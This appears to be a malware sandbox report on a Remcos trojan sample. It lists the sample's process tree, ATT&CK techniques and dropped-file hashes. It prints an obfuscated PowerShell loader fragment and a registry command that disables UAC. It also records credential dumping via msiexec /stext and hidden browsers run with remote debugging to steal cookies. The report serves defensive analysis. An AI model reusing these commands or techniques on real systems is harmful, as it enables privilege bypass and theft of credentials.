DenmMy,o.ret CC gaoUnc,nVomivBhlae,bbrrstr tK,al] Aet:Kred:ForsFTilfr Subo icmW ldB Unda,ulpsBru.eSk.r6,rys4SensSSimrtWarsrMenniFedtnT pngLa.i(Gods$Syn.TM,strHumayMicokLi,nkRegne.owat Rege petkDrifnMythi,inakOutcs Co.)Imit ');Aegicrania (Immenser ' fem$Opdrg ,anl OakoRielbMotoAUd.olServ: b pRanb E RodCSediIS rirBrinKAfsku hytlBumkEBusaRRestiA tiNMargg DucESlb,rSquaNEboneLuttsr ce K n= Dr Hor[UnarS kanYDel s lertCor E DevmS,if.Torgt NoneKarixSa ktU,de. SoreMis,nClocc ekoPiped OboIDro nKittGCur ],kva:Subs: OpsATrflSDerecMateiTridIFo s.DigegFrdsE E hTg ngS M ntDeltraccoimuhaN.ectgUdkl( Gen$SymbISyres ilkOVel,CCyt RLy tYMo rMVolaeE cl)N ur ');Aegicrania (Immenser 'Hj,e$AverGS inl Ha.OForfBProda DisLOvid: UpsjU,ocu MasMFlorb OrnUAt acsaboK ela=Bere$Od.rRDukkE pheCeksaiSamlrHadbkSkufuNedrl .aueSilkRNonmiM hanPrecgUnwwe KulrVrdiNStukE ReaSS.pe.StamsBa nuuncabRelesSmittEndorSt kiBenzNMesoGSt r(Dis $TystfAdr oAncyR CerTTy,nIVeleDUnboiSaragMedaeBene,Hie $ NavTCe ea R pc hibAB,limMedlaRigshTo aABrudCK.lb) el ');Aegicrania $Jumbuck;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:888
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1784
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:4564
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mbxkuntuieaddbtnuvnqmuflgfdvk"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:5004
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\owlcvflwemshfhhrdghrxyacplveluvpv"
    3⤵
    PID:2992
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\owlcvflwemshfhhrdghrxyacplveluvpv"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:2032
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zyqvv"
    3⤵
    PID:4336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zyqvv"
    3⤵
    PID:2156
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zyqvv"
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zyqvv"
    3⤵
    PID:3620
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zyqvv"
    3⤵
    PID:4052
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zyqvv"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4364
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4828
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffbafd3cc40,0x7ffbafd3cc4c,0x7ffbafd3cc58
      4⤵
      PID:2072
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1976,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1972 /prefetch:2
      4⤵
      PID:3780
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1900,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2124 /prefetch:3
      4⤵
      PID:3128
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1924,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2400 /prefetch:8
      4⤵
      PID:884
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3164,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2272
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3196,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3204 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4324
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3156,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4484 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3592
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4752,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4796 /prefetch:8
      4⤵
      PID:2000
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4860,i,928783278427865006,2526759554335933642,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4868 /prefetch:8
      4⤵
      PID:3452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:3220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffba0f346f8,0x7ffba0f34708,0x7ffba0f34718
      4⤵
      PID:3160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1996,331970253158484268,4290614736687873520,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2008 /prefetch:2
      4⤵
      PID:1008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1996,331970253158484268,4290614736687873520,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2484 /prefetch:3
      4⤵
      PID:748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1996,331970253158484268,4290614736687873520,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2728 /prefetch:8
      4⤵
      PID:4280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1996,331970253158484268,4290614736687873520,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1996,331970253158484268,4290614736687873520,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1996,331970253158484268,4290614736687873520,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=1996,331970253158484268,4290614736687873520,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2852

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:5116

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5008

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
17ad49f93612a73c04d2ba039d3fb8eb

SHA1
a1ea57f98bf14a6344eacb7c62c17a961a85a132

SHA256
09a5d6d139539c17eaa7c89c61860fdcd9c3ab45e53997425d4d3c27b2cc67ef

SHA512
054396fad9ba52606182e72830cbf09b7fbdad8a01a89619fdd557c9637a6c68310fca30ee83c8235535fb938d778e05889a98ca6e2b06c62661cd164acac472

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
e848733566100e320655d46275a18848

SHA1
4128a6b01259a1962c00b1124719987082f39452

SHA256
b09a3d135e485c74ab06b68876f95d475a151104399073b0f5db94a162309f0c

SHA512
ed67f07e156cce63ae8433ac1ac512b7388e316f64c5d3c3b239287188b2c47787aeca25abf2e1e97d960b68b7c32a6d7c419b03584aa88a4b43adbbd26f8d68

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
1c2a6c14e789d37b869d2db9de51d441

SHA1
7f165a8a53f673b4f98eced2afad7748076c3917

SHA256
bd9800e0b77ba7b2524712bfdc6ddac86f33ec74c9e91c1bdfdea143e192d842

SHA512
507dad4787e95ad01fbcde29e7b29abce377df7f030802809e546e56a43de262780838d19c3bab2fd22791e56ca507de68d5479c57d72243568932ac54895449

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
0c7524c44caee65992bdbac733446b49

SHA1
47cca1b548ce11923c6754ad21c32403e834f1c5

SHA256
52881ce88295d0ba24a0535053c223c48345e43a3f1926d08006df74a4bb143f

SHA512
5c760b0a3377ad5e25b9bd78532587f8abaa27ea91a13e5fe9798f751ec3d0edbbce9c655412358783116c3d7816ac2afab432fc94d9e024e1286e656d2b3acd

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Cache\Cache_Data\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Cache\Cache_Data\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Cache\Cache_Data\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Cache\Cache_Data\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
c7e5fb374f99826a8e9ebe00e6f04a5b

SHA1
3df9986743a1b243b46c65d439d36f53db413a23

SHA256
c2187582e7520ba0bbc93ed9abe6606ecf4fe8074a63188f27f2cbf260589d2c

SHA512
0a0940a57611b10bafbff6b767c07f8fc490d4440901d1f22ba7ca0f4b20a16a01f6f84ef7d2b935049e0b3ba36b8de77412195b5360777ab1b676880806656c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index-dir\the-real-index

Filesize
48B

MD5
34bd21b2350b0cd6a74f539c4e313196

SHA1
787fe586eb0909f48da3bd30d91d82f666e10751

SHA256
badfc81085b1aaa0f087542da01650f397b24c8a8294ca07af273eea9f533452

SHA512
6cf86107de642063b066732b88b001f82a75a8a71b303383d09dc888aec6e04e410102812bda8825120ae14f2fba476a8533bf55cce47852064d5c72df9e616d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Extension State\LOG

Filesize
263B

MD5
1c655125b79f38ac77e80096e546beec

SHA1
560e3acdc1c5ad8eadabd05109c1e7f14f4bfc41

SHA256
5376460ea11ae9bdfa93c7337e124561b44dd16d058d808c703274c2e2832eda

SHA512
40a4bc0cd7229d106e557ea8b791bbf12f388f2147ec8593d7398e6e773545bd4a4bdd38f55eaf286788474383ca4c800117f4abbced3ab7d789e9c08627be52

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
ab24002167a447fcabfb25cc190fa7cf

SHA1
fe7b56e3e6353571d83c34f951d9fa0ba96a9017

SHA256
9856f90d258965079b0d4ef57427f20e7f3735834379b62fcccd00e87de7fe69

SHA512
d866e7784bb792ecab3d65cef6c908df2468a0b10ac6ff63f6c2fdf7fd498669bef6a261108a9c225efe8d2ac7dea525b10cd38cf3f048a6bd39148a6f22bceb

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
160KB

MD5
f310cf1ff562ae14449e0167a3e1fe46

SHA1
85c58afa9049467031c6c2b17f5c12ca73bb2788

SHA256
e187946249cd390a3c1cf5d4e3b0d8f554f9acdc416bf4e7111fff217bb08855

SHA512
1196371de08c964268c44103ccaed530bda6a145df98e0f480d8ee5ad58cb6fb33ca4c9195a52181fe864726dcf52e6a7a466d693af0cda43400a3a7ef125fad

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History-journal

Filesize
8KB

MD5
b017e02a08d2831baa8480c727eb422f

SHA1
7b34d8ea6c3dc47c4e3b217eae3f23a851765592

SHA256
6c5c9d2e9ed093a85b639179b3dd6925c1f3dfa7951af92493d5560c6110b020

SHA512
5c800b0ee53375137a0f7f89d5633a006db0c9a06d9672020f7672df9a1b9d1c8e8df94c31d55f00730d679690c8359511763c69fa1fb7e6f6734869f9ca5b32

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
275B

MD5
ecd8c888b42b0ad30446ce1eed4bba65

SHA1
ebb82bad472ca1a84848281ee5253b763a30ea2d

SHA256
e85e1965085efe216a769b03454fb8a6d4dc07bed6e46d44dc993013acb16331

SHA512
4e07f80ec0fa238e40d011a164cb5f61c9d95110ce634209e6bb9d9db988c907cebd9dc44f3a86fb1dfdaf426560e34800686302b761b7c42d4d501717e8ab94

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
b524cac961b14428542fe9d175c519d4

SHA1
79e2b87094f2d050f18fb829e573942b88467c23

SHA256
12f10846d930857eccc600503d89fdc73b882e145f5d8c460615edca53dae890

SHA512
240627c3c1cef205b86b5caf8ed3604a7fc7ec66671547b1820b8a832fe8a53308e11dad957229c3a092320b3063fd64fa5d363cb5466b5b66571d1605ac68f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
e00562875930ae2318d0ee2d75ddff33

SHA1
b07fecf2331ef7e97e63af16e2e60c91c3ee4fbe

SHA256
27b6d942b23118251dd5ae2e19ba9f84ed07e28a86251b40730878a0eccb26ad

SHA512
be6d7580ec84a4500f22328264d921cfc18c05c0ebabc2fea09ae2ad3e0fcf8d1b81611c35a31cb5e4ec2ae7ae2eb0545e7e75be668bdaa17da2f79b0a0c47be

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
5386b112fa0b22a45f72028ce295ee8b

SHA1
d3d2e5eed63f1a936bef8f91fd5cd7d428d97152

SHA256
292c54382483f19e3d6b68359299d9fb2a328d4545085dd1d0fe01fddb48eeba

SHA512
3f1fb663e1e7c04dc417f0c65db6de30acc3706f1a45c640fde8e64978db7a0229ed624f07914b6e25ced7a5a44145243036c4949a5f367e66969bf70d909819

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
73babd2dd55c421e3806ec2d119e28ca

SHA1
ea4ff2c6b65a05bdee88098e36649917f3dadef2

SHA256
b4c3171044fcdaf575f8debda1fbd580043ad21f93546576272cbbe4a2b172d6

SHA512
af99e38f6cd5375e013d3b81d2517bb4932cbb72e05a18d7a7b6db610937e4f3d153452e6c33bd75826e36665accb79ffb660232b1f6179cb06f741ca625cb0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
e2f6740589a4b570eae3bde32ad6e60e

SHA1
f480cb3fe10ff7338916edbea9ed63bd01175122

SHA256
56cf9ec20fd3892b742bf6518f974734d753e9fd5157b33199d8b82c8a09c318

SHA512
4148c0ab36f82aa31d3343eeae7c16e7c66b948aa0124efa207b76ae067b33c8b4495faa25f6f2241408bc400f45e86b3c33ec0d2c5323065b320747565ac42e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
fb9b644175d9cb9412afa02e5162aa36

SHA1
549e99099f845f414e650dc71c41a2165b29f64a

SHA256
ef5bacdc32263d63240194ea3cdf60c69dffb9544e0d59730d35fcf5d89fd6d8

SHA512
b021b24fac3cba795ea5165108a79853a9f2b1c3ba78359c4f251e3b1953fc6b1ab753658c2bc8d11dfcb2dd5b696d89240e8c99fd41a5146615c8553f8905f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
798e721ce7da713992158afd6226ebf8

SHA1
b7430ef1392da006b654710f1c0663426d09fa5e

SHA256
e467348d582c0adf9483bec6c9ff91904f84b17c69183b737eed526ef90e4871

SHA512
